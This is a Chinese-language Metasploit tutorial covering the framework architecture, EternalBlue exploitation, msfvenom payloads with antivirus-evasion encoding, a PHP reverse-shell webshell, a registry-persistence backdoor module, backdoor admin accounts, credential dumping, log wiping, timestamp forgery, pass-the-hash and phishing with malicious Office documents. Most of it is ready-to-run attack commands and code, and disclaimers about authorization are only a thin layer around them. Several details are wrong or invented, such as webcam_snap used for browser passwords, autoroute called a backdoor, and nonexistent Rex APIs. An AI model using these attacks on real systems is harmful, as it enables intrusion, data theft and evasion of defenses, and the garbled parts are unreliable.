目录
(1)命令缩写原理Metasploit 的命令缩写基于唯一前缀匹配。例如:
一、理论学习(Metasploit 架构与核心组件)
一、架构设计:分层与模块化
Metasploit 采用分层架构,核心逻辑分为三层:
-
基础层(Ruby 框架):
- 提供模块加载、命令解析、日志记录等底层功能。
- 通过
Rex
库实现网络通信、协议解析等通用能力。
-
核心层(模块引擎):
- 动态加载和管理模块(Exploit/Payload/Auxiliary/Post)。
- 处理模块参数配置、依赖检查、攻击链组合。
-
接口层(交互界面):
- 控制台(
msfconsole
)、Web 界面(msfweb
)、API 接口(msgrpc
)。 - 支持工作空间隔离、历史命令记录、脚本自动化(
resource
命令)。
- 控制台(
模块化设计优势:
- 松耦合:模块独立开发,可通过
make_rc
生成配置文件复用攻击链。 - 热加载:无需重启即可更新模块(
reload_all
命令)。 - 扩展性:支持通过
msfvenom
生成自定义 Payload,或编写 Ruby 模块扩展功能。
二、核心组件工作原理
1. 模块(Modules)
- Exploit 模块:
- 漏洞利用流程:
- 目标探测(如
set RHOSTS 192.168.1.0/24
)。 - 协议交互(如发送 SMB 协议数据包)。
- 触发漏洞(如缓冲区溢出、SQL 注入)。
- 交付 Payload(通过
set PAYLOAD
指定)。
- 目标探测(如
- 高级特性:
- 多目标支持:同一 Exploit 可适配不同 OS/架构(如
Targets
参数)。 - 自动检查:
Check
方法验证目标是否脆弱(如check
命令)。
- 多目标支持:同一 Exploit 可适配不同 OS/架构(如
- 漏洞利用流程:
- Payload 模块:
- Stager-Stage 架构:
- Stager:轻量级代码(如
reverse_tcp
),建立初始连接。 - Stage:完整功能(如
meterpreter
),通过 Stager 传输。
- Stager:轻量级代码(如
- 编码与免杀:
Encoders
对 Payload 加密(如shikata_ga_nai
支持多态变形)。Nops
填充避免坏字符(如\x90
填充)。
- Stager-Stage 架构:
- Auxiliary 模块:
- 扫描器原理:
- 端口扫描:SYN/ACK 探测(
auxiliary/scanner/portscan/syn
)。 - 服务识别:Banner 抓取(如
auxiliary/scanner/http/http_version
)。
- 端口扫描:SYN/ACK 探测(
- 密码破解:
- 字典攻击:加载密码字典(
set PASS_FILE /usr/share/wordlists/rockyou.txt
)。 - 暴力破解:多线程尝试(
set THREADS 10
)。
- 字典攻击:加载密码字典(
- 扫描器原理:
- Post 模块:
- 权限提升:
- 本地漏洞利用建议器:
post/multi/recon/local_exploit_suggester
。 - 提权脚本:
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
。
- 本地漏洞利用建议器:
- 持久化控制:
- 计划任务:
post/windows/manage/persistence
(注册表/启动项)。 - 后门植入:
post/windows/manage/autoroute
(路由劫持)。
- 计划任务:
- 权限提升:
2. 数据库(Database)
- 数据存储结构:
- 主机表(hosts):IP、MAC、OS 指纹。
- 服务表(services):端口、协议、服务名称。
- 漏洞表(vulns):CVE 编号、风险等级、验证状态。
- 会话表(creds):用户名、密码、哈希值。
- 高级查询:
- 关联分析:
vulns -t [CVE]
查找受影响主机。 - 导出报告:
db_export -f csv reports.csv
。
- 关联分析:
3. 控制台(Console)
- 自动化脚本:
- 编写
.rc
文件(如use exploit/windows/smb/ms17_010_eternalblue
)。 - 批量执行:
msfconsole -r script.rc
。
- 编写
- 工作空间管理:
- 隔离项目数据:
workspace -a project_alpha
。 - 切换环境:
workspace project_beta
。
- 隔离项目数据:
三、Meterpreter 高级功能实战
1. 文件操作
- 隐蔽传输:
- 加密通道:
set EnableStageEncoding true
。 - 分片下载:
download -c /etc/shadow
(支持断点续传)。
- 加密通道:
2. 网络操作
- 端口转发:
- 穿透防火墙:
portfwd add -l 8443 -p 443 -r 10.0.0.2
(将本机 8443 流量转发到内网 10.0.0.2:443)。
- 穿透防火墙:
- 网络嗅探:
- 抓包分析:
use auxiliary/sniffer/psnuffle
(需管理员权限)。
- 抓包分析:
3. 系统操作
- 权限提升:
- 令牌窃取:
steal_token [PID]
(模拟其他用户权限)。 - Bypass UAC:
bypassuac
模块(如exploit/windows/local/bypassuac_injection
)。
- 令牌窃取:
- 凭证窃取:
- 内存抓取:
hashdump
(提取 LSASS 进程中的明文密码)。 - 浏览器密码:
webcam_snap
(需配合post/windows/gather/credentials/chrome
)。
- 内存抓取:
4. 反取证
- 时间戳篡改:
timestomp -f C:\\Windows\\System32\\calc.exe C:\\Windows\\Temp\\backdoor.exe
(伪造文件时间)。
- 日志清理:
- 清除事件日志:
clearev
。
- 清除事件日志:
5. 横向移动
- Pass-the-Hash:
- 使用哈希认证:
use exploit/windows/smb/psexec
+set SMBHash ::...
。
- 使用哈希认证:
- 票据传递:
- 金票攻击:
use post/windows/gather/credentials/golden_ticket
。
- 金票攻击:
四、实战案例:渗透测试流程
场景:攻击内网 Windows 域控制器(DC)。
- 信息收集:
- 扫描存活主机:
db_nmap -sS 192.168.1.0/24
。 - 识别 DC:
auxiliary/scanner/smb/smb_version
(发现SERVER2019
)。
- 扫描存活主机:
- 漏洞利用:
- 使用永恒之蓝:
exploit/windows/smb/ms17_010_eternalblue
+set PAYLOAD windows/x64/meterpreter/reverse_tcp
。
- 使用永恒之蓝:
- 后渗透攻击:
- 提权至 SYSTEM:
getsystem
。 - 提取域管哈希:
hashdump
(获取Administrator:500:...
)。 - 横向移动:
use exploit/windows/smb/psexec
+set SMBUser Administrator
+set SMBPass ...
。
- 提权至 SYSTEM:
- 持久化控制:
- 创建后门用户:
net user backdoor Passw0rd! /add
+net localgroup administrators backdoor /add
。 - 部署 Cobalt Strike Beacon:
execute -f -H -i -m -d calc.exe -a "/c start /b ..."
。
- 创建后门用户:
五、注意事项与最佳实践
-
合法合规:
- 仅在授权范围内使用,避免触碰法律红线。
- 记录测试过程:
spool /var/log/metasploit.log
。
-
安全防护:
- 使用免杀 Payload:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
。 - 混淆流量特征:
set AutoRunScript post/windows/manage/smart_migrate
(自动进程迁移)。
- 使用免杀 Payload:
-
性能优化:
- 调整线程数:
set THREADS 20
(根据目标性能调整)。 - 限制扫描速率:
set RPORT 445
+set THREADS 1
(避免触发 IDS)。
- 调整线程数:
-
框架维护:
- 定期更新:
msfupdate
(获取最新漏洞模块)。 - 备份数据库:
db_export -f sqlite3 backup.db
。
- 定期更新:
二、实操演练(Metasploit 框架深度操作)
一、启动与初始化配置
1. 安装与启动
- Kali Linux:
bash
sudo apt update && sudo apt install metasploit-framework
msfconsole # 启动控制台
- Windows:
- 下载安装包(Metasploit官网),配置环境变量。
2. 数据库配置
- 初始化数据库:
bash
msfdb init # 首次使用需初始化
systemctl start postgresql # 启动PostgreSQL服务
db_status # 验证连接状态(输出示例:[*] postgresql connected to msf)
二、核心模块操作流程
1. 模块分类与搜索
- 模块类型:
- Exploits:漏洞利用模块(如
exploit/windows/smb/ms17_010_eternalblue
)。 - Auxiliary:辅助模块(端口扫描、服务探测)。
- Post:后渗透模块(权限提升、数据窃取)。
- Payloads:攻击载荷(如
windows/meterpreter/reverse_tcp
)。 - Encoders:编码器(绕过杀软检测)。
- Nops:空指令模块(稳定Payload)。
- Exploits:漏洞利用模块(如
- 搜索技巧:
bash
search ms17_010 # 按漏洞名搜索
search platform:windows type:exploit # 按平台与类型过滤
search cve:2021-44228 # 按CVE编号搜索
2. 漏洞利用实战(以MS17-010为例)
- 步骤:
- 加载模块并配置参数:
bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100 # 目标IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 设置Payload
set LHOST 192.168.1.101 # 攻击者IP
set LPORT 4444 # 监听端口
- 执行攻击:
bash
exploit # 或 run
- 成功标志:
bash
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.100:49158)
- 加载模块并配置参数:
三、Payload生成与监听
1. 生成Payload(msfvenom)
-
常用格式:
bash
# Linux反向TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f elf > shell.elf
# Windows免杀Payload(编码+RC4加密)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o shell.exe
-
高级选项:
bash
-b "\x00\x0a" # 过滤坏字符
--smallest # 生成最小Payload
2. 配置监听器
-
基础配置:
bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set LPORT 4444
exploit -j -z # 后台持续监听
-
持久化监听:
bash
set ExitOnSession false # 保持监听(即使会话断开)
四、后渗透测试(Meterpreter)
1. 会话管理
- 基础命令:
bash
sessions -l # 列出所有会话
sessions -i 1 # 交互会话1
background # 会话挂到后台
2. 信息收集与提权
-
系统信息:
bash
sysinfo # 系统版本、架构
getuid # 当前用户权限
getsystem # 尝试提权至SYSTEM(Windows)
-
网络信息:
bash
netstat # 查看网络连接
arp # 显示ARP缓存
3. 数据窃取与持久化
-
文件操作:
bash
download C:\\Users\\Admin\\desktop\\passwords.txt # 下载文件
upload /root/keylogger.exe C:\\Windows\\ # 上传文件
-
持久化后门:
bash
persistence -S -U -i 10 -p 443 -r 192.168.1.101 # 创建开机启动后门
4. 防御规避
-
编码与加密:
bash
# 生成编码后的Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe
-
流量加密:
bash
# 使用RC4加密通信
set EnableStageEncoding true
set StageEncoder x86/fnstenv_mov
五、自动化与脚本编写
1. Ruby脚本自动化
- 示例脚本:
ruby
framework = Msf::Simple::Framework.create
exploit = framework.modules.create('exploit/windows/smb/ms17_010_eternalblue')
exploit.datastore['RHOSTS'] = '192.168.1.100'
exploit.datastore['PAYLOAD'] = 'windows/x64/meterpreter/reverse_tcp'
exploit.datastore['LHOST'] = '192.168.1.101'
exploit.execute(nil)
2. Python集成(RPC API)
- 基础代码:
python
from msfrpc import MsfRpcClient
client = MsfRpcClient('password', port=55553) # 默认密码:msf
console_id = client.consoles.console().cid
client.consoles.console(console_id).write('use exploit/windows/smb/ms17_010_eternalblue\n')
client.consoles.console(console_id).write('set RHOSTS 192.168.1.100\n')
client.consoles.console(console_id).write('exploit\n')
六、防御检测与日志清理
1. 流量混淆
- 使用HTTPS/DNS隧道:
bash
set PAYLOAD windows/meterpreter/reverse_https
set HandlerSSLCert /path/to/cert.pem # 自定义证书
2. 日志清理:
-
清除事件日志(Windows):
bash
clearev # 清除应用程序、系统、安全日志
-
删除痕迹文件:
bash
rm /tmp/shell.elf # 删除上传的Payload
七、实战案例解析
案例1:内网渗透测试
- 信息收集:
- 使用Nmap扫描内网段:
nmap -sS 192.168.1.0/24
- 导入结果到Metasploit:
db_import nmap_scan.xml
- 使用Nmap扫描内网段:
- 漏洞利用:
- 发现目标主机开放445端口,使用MS17-010模块获取SYSTEM权限。
- 横向移动:
- 通过Meterpreter的
ps
命令查找域控进程,使用migrate
迁移至高权限进程。
- 通过Meterpreter的
- 数据窃取:
- 使用
hashdump
提取NTLM哈希,配合secretsdump.py
破解密码。
- 使用
案例2:Web应用攻击
- 漏洞探测:
- 使用
auxiliary/scanner/http/http_version
识别Web服务器类型。 - 搜索对应漏洞模块(如PHP远程代码执行)。
- 使用
- Payload植入:
- 生成Webshell(如PHP格式):
bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php
- 生成Webshell(如PHP格式):
- 持久化控制:
- 修改Web目录权限,设置定时任务反弹Shell。
八、最佳实践与注意事项
- 合法授权:仅在测试目标系统时使用Metasploit,避免未经授权的攻击。
- 模块更新:定期执行
msfupdate
更新漏洞库。 - 日志记录:启用Metasploit日志功能(
setg LogLevel 3
)以便审计。 - 资源释放:测试完成后使用
jobs -K
清理后台任务。
三、复习巩固与扩展场景
1. 常用命令缩写:底层逻辑与实战技巧
(1)命令缩写原理
Metasploit 的命令缩写基于唯一前缀匹配。例如:
search
可缩写为s
(因无其他命令以s
开头)。use
可缩写为u
,但set
无缩写(因se
可能匹配sessions
)。
(2)核心命令详解
完整命令 缩写 完整语法示例 实战技巧 search
s
s type:exploit platform:windows
结合 type:
、platform:
精准过滤模块。use
u
u exploit/windows/smb/ms17_010_eternalblue
加载模块后,按 Tab
键可自动补全参数。set
无 set RHOSTS 192.168.1.100
必填参数(如 RHOSTS
)需优先设置。exploit
run
exploit -j
(后台运行)结合 -z
参数不捕获会话(适合 DoS 攻击)。sessions
ses
ses -i 1
(交互指定会话)批量操作会话: ses -K
终止所有会话。background
bg
bg
(后台挂起当前会话)结合 sessions -l
查看后台会话列表。help
?
?
(全局帮助) /exploit?
(模块帮助)模块专属帮助需在 use
后使用。route
r
route add 10.0.0.0 255.0.0.0 1
添加内网路由后,用 run autoroute -p
验证。
2. Meterpreter 常用命令:从原理到实战
(1)进程操作
-
ps
命令:
ps
实际调用目标系统的CreateToolhelp32Snapshot
API 枚举进程。
高级用法:meterpreter
ps | grep chrome # 过滤 Chrome 进程
migrate [PID] # 迁移到高权限进程(如 winlogon.exe)
-
kill
命令:
底层调用TerminateProcess
API,但需注意:- 终止关键系统进程(如
lsass.exe
)可能导致蓝屏。 - 结合
steal_token [PID]
窃取令牌后,可绕过部分权限检查。
- 终止关键系统进程(如
(2)提权与权限管理
-
getsystem
原理:
通过多种技术尝试提权,包括:- Named Pipe Impersonation(默认)
- Token Kidnapping
- BypassUAC
失败应对:
meterpreter
getprivs # 查看当前权限
use incognito # 加载令牌伪造模块
list_tokens -u # 列出可用令牌
impersonate_token "NT AUTHORITY\\SYSTEM" # 伪造 SYSTEM 令牌
-
rev2self
场景:
在权限滥用后(如getsystem
失败),需降权以避免检测。
(3)网络操作
-
ifconfig
输出解析:meterpreter
Interface 1
------------
Name : Intel(R) Ethernet Connection
Hardware MAC : 00:0c:29:xx:xx:xx
IP Address : 192.168.1.100
Netmask : 255.255.255.0
-
route
实战:meterpreter
route add 172.16.0.0 255.240.0.0 1 # 添加内网路由
route print # 验证路由
portfwd add -l 3389 -r 172.16.1.10 -p 3389 # 端口转发
(4)反取证
clearev
风险:
清除事件日志会触发Event Log Service
异常,需配合timestomp
修改文件时间戳。
3. 扩展场景:从基础到高阶
(1)绕过防火墙:深度技术解析
Reverse_HTTPS Payload 原理:
- 使用 HTTPS 协议封装 Meterpreter 通信,流量特征类似正常 Web 流量。
- 防御检测点:
- SNI 证书校验
- 流量基线异常(如频繁的小数据包)
- 进阶绕过:
bash
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.101 LPORT=443 -f exe -o shell.exe --encoder x86/shikata_ga_nai
Reverse_WinHTTP Payload 特性:
- 调用 Windows 原生
WinHTTP
库,绕过部分 EDR 的 API 钩子。 - 局限性:
- 仅支持 HTTP/HTTPS 协议
- 需目标系统启用
WinHTTP
服务
(2)多平台攻击:漏洞利用全解析
永恒之蓝漏洞(MS17-010)细节:
- 漏洞成因:SMBv1 协议处理畸形请求时的堆溢出。
- 利用条件:
- 目标开放 445 端口
- 未安装 MS17-010 补丁
- Post-Exploitation:
meterpreter
run post/windows/gather/enum_patches # 枚举已安装补丁
run post/windows/manage/migrate_process # 迁移进程
Stagefright 漏洞(CVE-2015-3864)利用链:
- 发送恶意 MP4 文件(含畸形
stts
原子)。 - 目标解析时触发堆溢出。
- 覆盖函数指针,执行 Shellcode。
- 防御绕过:
- 混淆 MP4 文件头(如添加随机元数据)。
- 使用
polymorphic
Shellcode 避免签名检测。
(3)自动化攻击:从脚本到框架
Resource Script 高级用法:
-
变量传递:
bash
# auto_attack.rc
set RHOSTS 192.168.1.100
use exploit/windows/smb/ms17_010_eternalblue
exploit
执行:
msfconsole -r auto_attack.rc -L /var/log/msf
(记录日志)。 -
条件判断:
bash
# conditional_attack.rc
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
if "Windows 7" {
use exploit/windows/smb/ms17_010_eternalblue
exploit
}
Metasploit API 开发实战:
-
Ruby 脚本框架:
ruby
framework = Msf::Simple::Framework.create
exploit = framework.modules.create('exploit/windows/smb/ms17_010_eternalblue')
exploit.datastore['RHOSTS'] = '192.168.1.100'
exploit.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
exploit.run_simple('LocalInput' => driver.input, 'LocalOutput' => driver.output)
-
集成外部数据源:
ruby
# 从 CSV 读取目标列表
require 'csv'
CSV.foreach('targets.csv') do |row|
exploit.datastore['RHOSTS'] = row[0]
exploit.run_simple(...)
end
自动化攻击最佳实践:
- 模块化设计:将不同攻击阶段(侦察、利用、后渗透)拆分为独立脚本。
- 日志记录:启用
-L
参数记录所有操作,便于审计。 - 错误处理:在脚本中添加
begin-rescue
块捕获异常。 - 速率限制:避免对目标网络造成过大压力(如
setg BatchSize 10
)。
四、安全与法律考虑
1. 法律与道德准则
- 遵守法律法规:仅在授权范围内进行渗透测试,禁止用于非法用途。
- 明确测试范围:与委托方签订正式合同,明确测试目标、时间、方法和报告要求。
- 最小化损害:避免对目标系统造成不必要的损害(如数据泄露、服务中断)。
2. 安全操作规范
- 使用虚拟机环境:在隔离的虚拟机(如 VMware、VirtualBox)中进行测试,避免影响物理机。
- 禁用危险模块:通过
msfconsole
的-q
参数跳过欢迎信息,或使用-x
参数执行初始化脚本(如禁用自动运行模块)。 - 清理测试痕迹:测试完成后,使用
clearev
清除事件日志,删除上传的文件和进程。
3. 数据保护
- 加密通信:使用
reverse_https
或reverse_winhttps
Payload 加密通信流量。 - 匿名化处理:在测试报告中匿名化处理敏感信息(如 IP 地址、域名、用户名)。
- 数据备份:在测试前对目标系统进行完整备份,以便在发生意外时快速恢复。
五、深入Metasploit模块开发:从底层原理到实战攻防
Metasploit的模块化架构是其核心竞争力的来源。通过自定义Exploit、Payload、Auxiliary和Post模块,用户可以精准适配各类攻击场景。以下从底层原理、开发细节、调试技巧、反检测策略四个维度展开,结合实战案例,呈现模块开发的完整链路。
1. Exploit模块开发进阶
(1)漏洞验证:check
方法的实现
- 作用:在攻击前验证目标是否易受攻击。
- 示例代码:
ruby
def check connect banner = sock.get_once || '' disconnect if banner =~ /VulnerableApp 1\.0/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end
- 高级用法:
- 结合
Nmap
脚本结果(如Nmap::Parser.new(nmap_xml)
)。 - 使用
Metasploit::Module::KnownVulnerabilities
集成CVE信息。
- 结合
(2)复杂漏洞利用
- 堆溢出:
ruby
# 伪代码:构造堆喷射数据 heap_spray = Rex::Text.pattern_create(0x1000) # 生成模式数据 heap_spray += [target.ret].pack('V') * 0x100 # 覆盖函数指针 sock.put(heap_spray)
- UAF(Use-After-Free):
ruby
# 伪代码:触发UAF trigger_uaf = "\xde\xad\xbe\xef" * 0x100 sock.put(trigger_uaf) # 等待目标释放内存后,覆盖虚函数表
(3)调试技巧
- Metasploit日志系统:
ruby
vprint_good("Debug info: #{sensitive_data}") # 仅调试模式显示 report_note(host: rhost, data: 'Compromised') # 记录攻击结果
- 联合调试:
- 在Exploit模块中添加
sleep(10)
。 - 目标机执行
gdb -p $(pgrep vulnerable_app)
。 - 攻击机执行
continue
恢复进程。
- 在Exploit模块中添加
2. Payload模块开发进阶
(1)Stager与Stageless Payload对比
特性 Stager Stageless 体积 小(<500字节) 大(含完整功能) 连接稳定性 依赖Stage下载 独立 适用场景 网络受限环境 高带宽环境 反检测 隐蔽性强 易被EDR拦截
(2)高效汇编编码
- 减小体积技巧:
ruby
# 传统方式 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # 优化后(使用syscall指令) "\x48\x31\xff\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
- 工具辅助:
bash
nasm -f elf32 shellcode.asm # 汇编代码编译 objdump -d shellcode.o # 查看反汇编
(3)反检测技术
- 代码混淆:
ruby
obfuscated_code = Rex::Exploitation::Obfuscate.string(payload.encoded)
- ROP链构建:
ruby
rop = RopDb.new('linux/x86') rop.add('pop eax; ret') rop.add('/bin/sh') rop.execute # 生成ROP链
3. Auxiliary与Post模块开发
(1)Auxiliary模块:信息收集
- 示例:SMB版本扫描
ruby
class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, 'Name' => 'SMB Version Scanner', 'Description' => 'Detect SMB version', 'Author' => ['Your Name'], 'License' => MSF_LICENSE)) register_options([Opt::RPORT(445)]) end def run_host(ip) connector = Rex::Proto::SMB::Client.new(ip: ip, port: rport) begin connector.login('guest', '') version = connector.dialect print_good("#{ip} uses SMB #{version}") rescue print_error("#{ip} SMB service unavailable") end end end
(2)Post模块:后渗透操作
- 示例:持久化Backdoor
ruby
class MetasploitModule < Msf::Post def initialize(info = {}) super(update_info(info, 'Name' => 'Custom Persistence', 'Description' => 'Install backdoor', 'License' => MSF_LICENSE)) end def run # Windows示例:注册表自启动 registry_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' registry_value = 'Updater' registry_data = 'C:\Windows\System32\backdoor.exe' client.sys.registry.write_key(registry_key, registry_value, registry_data) end end
4. 跨平台开发
(1)多架构支持
- 条件编译示例:
ruby
if datastore['PLATFORM'] == 'windows' arch = ARCH_X86 payload = generate_payload_exe else arch = ARCH_X64 payload = generate_payload_elf end
(2)API调用差异处理
- Windows vs Linux:
ruby
if windows? # 调用Win32 API handle = kernel32.CreateFileW(path, ...) else # 调用Linux系统调用 syscall(__NR_open, path, ...) end
5. 实战案例:CVE-2025-XXXX漏洞利用
(1)漏洞背景
- 某网络服务存在堆溢出漏洞,攻击者可覆盖函数指针执行任意代码。
(2)模块开发步骤
- Exploit模块:
- 使用
check
方法验证目标版本。 - 构造堆喷射数据,覆盖虚函数表。
- 调用
execute
方法触发漏洞。
- 使用
- Payload模块:
- 开发Stager建立反向TCP连接。
- 使用ROP链绕过DEP保护。
- 测试与调试:
- 在测试环境(Ubuntu 20.04)验证。
- 使用
gdb
分析崩溃点,调整偏移量。
6. 调试与测试工具链
工具 高级用法 示例命令/操作 msfconsole 启用调试模式 msfconsole -d
gdb 附加到进程并设置断点 gdb -p $(pgrep vulnerable_app) -ex 'b *0x08048000'
Wireshark 过滤特定会话流量 tcp.port == 4444 && ip.addr == 192.168.1.100
msfvenom 生成多平台Payload msfvenom -p windows/x64/meterpreter/reverse_https -f exe -o payload.exe
strace 跟踪系统调用参数 strace -e trace=open,read,write -f -s 1024 ./app
7. 常见问题解决
(1)模块加载失败
- 错误:
Failed to load module
- 排查步骤:
- 检查Ruby语法:
ruby -c module.rb
。 - 验证模块路径:
modules/exploits/platform/vendor/module.rb
。 - 查看详细日志:
msfconsole -d
。
- 检查Ruby语法:
(2)Payload执行失败
- 错误:
Exploit failed: No session
- 解决方案:
- 检查网络连通性:
telnet target 4444
。 - 绕过防火墙:使用
reverse_https
或reverse_winhttp
。 - 调整Payload选项:
set ExitOnSession false
。
- 检查网络连通性:
(3)反病毒检测
- 现象:Payload被删除或隔离。
- 对策:
- 使用
shikata_ga_nai
编码器。 - 加密Payload:
Rex::Encryption::AES.encrypt(payload, key)
。 - 混淆代码:
Rex::Exploitation::Obfuscate.string(payload)
。
- 使用
六、高级后渗透技术深度解析
1. 权限提升(Privilege Escalation)
本地提权漏洞利用原理:
- MS16-032(Windows):
- 漏洞成因:该漏洞源于Windows Secondary Logon服务在处理特权提升请求时未正确验证请求的来源和权限。攻击者可通过构造恶意请求触发内存破坏,从而获得SYSTEM权限。
- 利用细节:
- 攻击者首先需获取目标系统的shell权限。
- 使用Metasploit的
use exploit/windows/local/ms16_032
模块进行利用。 - 在利用过程中,需确保目标系统未安装KB3143141补丁。
- 漏洞利用成功后,攻击者可获得SYSTEM权限,进而控制整个系统。
- 防御措施:
- 及时安装微软发布的KB3143141补丁。
- 加强系统监控,及时发现并阻止异常权限提升行为。
- Dirty COW(Linux):
- 漏洞成因:该漏洞利用Linux内核的写时复制(Copy-on-Write)机制缺陷。当多个进程同时尝试修改同一内存页面时,内核可能因竞争条件而错误地处理写操作,导致权限提升。
- 利用细节:
- 攻击者需找到目标系统中可写的内存映射文件。
- 通过构造特定的系统调用序列触发竞争条件,修改文件内容。
- 例如,攻击者可将自身用户权限提升至root。
- 防御措施:
- 及时更新Linux内核至最新版本。
- 加强系统安全配置,限制用户权限。
- 避免使用弱加密算法。
持久化控制(Persistence)进阶:
- 计划任务(Windows):
- 高级配置:
- 通过Windows任务计划程序,攻击者可设置任务在特定条件(如每日、每周、每月或特定事件发生时)下执行恶意程序。
- 配置任务在计算机空闲时或网络连接可用时执行,以增强隐蔽性。
- 实战案例:
- 攻击者使用Metasploit的
use post/windows/manage/persistence
模块创建计划任务。 - 设置Payload为反向TCP连接,以便在任务执行时建立持久化控制通道。
- 攻击者使用Metasploit的
- 高级配置:
- 注册表自启动(Windows):
- 键值区别:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
键值适用于所有用户。HKCU\Software\Microsoft\Windows\CurrentVersion\Run
键值仅适用于当前用户。
- 混淆技术:
- 为避免被安全软件检测到,攻击者可将恶意程序路径伪装成系统进程(如
C:\Windows\System32\svchost.exe
)。 - 结合代码注入技术隐藏真实行为。
- 为避免被安全软件检测到,攻击者可将恶意程序路径伪装成系统进程(如
- 键值区别:
2. 横向移动(Lateral Movement)核心技术
Pass-The-Hash(PtH)攻击原理:
- 攻击流程:
- 攻击者通过漏洞利用或社会工程学手段获取目标内网主机的控制权,并提权至System权限。
- 使用
mimikatz
等工具提取本地存储的NTLM哈希值。 - 利用这些哈希值通过SMB、RDP等协议对其他系统发起身份验证,实现横向移动。
- 防御建议:
- 禁用NTLM协议,强制使用Kerberos认证。
- 启用SMB签名与加密。
- 限制本地管理员权限。
- 监控LSASS进程的异常访问。
Pass-The-Ticket(PtT)攻击流程:
- 攻击流程:
- 攻击者通过提取目标主机的Kerberos票据。
- 利用该票据进行身份验证,从而无需密码即可访问其他系统。
- 票据可通过
mimikatz
的kerberos::list /export
命令导出。 - 通过
psexec
等工具传递票据。
- 检测规避:
- 使用加密通信或隧道技术隐藏票据传递过程。
七、社会工程学与Metasploit结合实战
1. 钓鱼邮件生成技术
- 目标定位:
- 攻击者需根据目标岗位(如HR、财务)定制钓鱼邮件内容。
- 针对HR岗位,可伪装成简历附件。
- 针对财务岗位,可伪装成报销材料或财务报表。
- 内容优化:
- 邮件内容需简洁明了,诱导用户点击运行恶意附件。
- 结合社会工程学手段,如假冒运维账号发送“系统漏洞补丁”邮件。
2. 恶意Office文档生成
- 嵌入技术:
- 攻击者可通过在Office文档中嵌入恶意VBA代码或宏病毒。
- 实现远程代码执行。
- 使用
msfvenom
生成包含反向Shell的Office文档。
- 混淆技术:
- 使用代码混淆技术隐藏恶意代码的真实意图。
- 在VBA代码中插入无用字符串或压缩代码段。
八、防御与检测规避策略
1. 绕过杀毒软件技术
- 编码器(Encoders):
- 攻击者可使用多层编码技术对恶意程序进行编码。
- 规避杀毒软件的特征码检测。
- 例如,使用
x86/shikata_ga_nai
编码器进行多次编码。
- 加密通信:
- 通过加密通信技术(如
reverse_https
)。 - 隐藏恶意流量的真实内容。
- 规避杀毒软件的深度包检测。
- 通过加密通信技术(如
2. 绕过防火墙策略
- 端口转发:
- 攻击者可通过端口转发技术绕过防火墙限制。
- 访问内部网络服务。
- 例如,使用SSH端口转发将公网请求转发到内网目标主机上。
- 应用层协议欺骗:
- 伪装成合法的应用层协议(如HTTPS)。
- 绕过防火墙的检测规则。
- 实现恶意流量的传输。
九、自动化与脚本编写进阶
1. Metasploit API(Ruby脚本)高级应用
- 模块动态加载:
- 攻击者可通过Ruby脚本动态加载Metasploit模块。
- 配置参数执行攻击。
- 例如,使用
framework.modules.create
方法创建漏洞利用模块。 - 设置目标主机IP地址。
- 会话管理:
- 通过Ruby脚本管理已建立的会话。
- 查看会话信息、执行命令或迁移进程。
2. Resource Script(.rc文件)实战
- 批量攻击脚本:
- 攻击者可编写
.rc
文件批量执行攻击任务。 - 如漏洞扫描、Payload生成与发送。
- 通过
msfconsole -r auto_attack.rc
命令执行脚本。 - 实现自动化渗透测试。
- 攻击者可编写
- 联动Nmap扫描:
- 在
.rc
文件中集成Nmap扫描命令。 - 自动化方式发现目标网络中的开放端口与服务。
- 为后续攻击提供有力支持。
- 在
十、案例分析:企业内网渗透全流程
1. 攻击者完整攻击链
- 信息收集阶段:
- 攻击者使用Nmap扫描目标网络,发现开放端口与服务。
- 通过社会工程学手段收集目标邮箱等敏感信息。
- 漏洞利用阶段:
- 针对发现的漏洞(如MS16-032),攻击者生成Payload并执行。
- 获取目标系统的shell权限。
- 后渗透操作:
- 攻击者提升权限至SYSTEM。
- 收集敏感信息(如密码哈希、票据等)。
- 通过计划任务或注册表自启动实现持久化控制。
- 横向移动阶段:
- 利用获取的凭证(如NTLM哈希、Kerberos票据)。
- 访问其他内部系统,扩大控制范围。
2. 防御加固方案
- 补丁管理:
- 及时安装微软、Linux等厂商发布的补丁。
- 修复已知漏洞。
- 网络隔离:
- 通过VLAN划分、防火墙规则等手段隔离不同网络区域。
- 限制横向移动。
- 终端防护:
- 部署EDR解决方案。
- 监控终端行为,及时发现并阻止恶意活动。
- 安全意识培训:
- 加强员工安全意识培训。
- 提高防范社会工程学攻击的能力。
- 例如,定期组织钓鱼邮件演练。
十一、Metasploit高级模块开发(续)
3. 自定义Auxiliary模块
-
模块结构:
- Auxiliary模块用于执行扫描、嗅探、密码破解等辅助任务。
- 模块必须实现
initialize
、set_config
和run
方法。
-
示例代码(端口扫描):
ruby
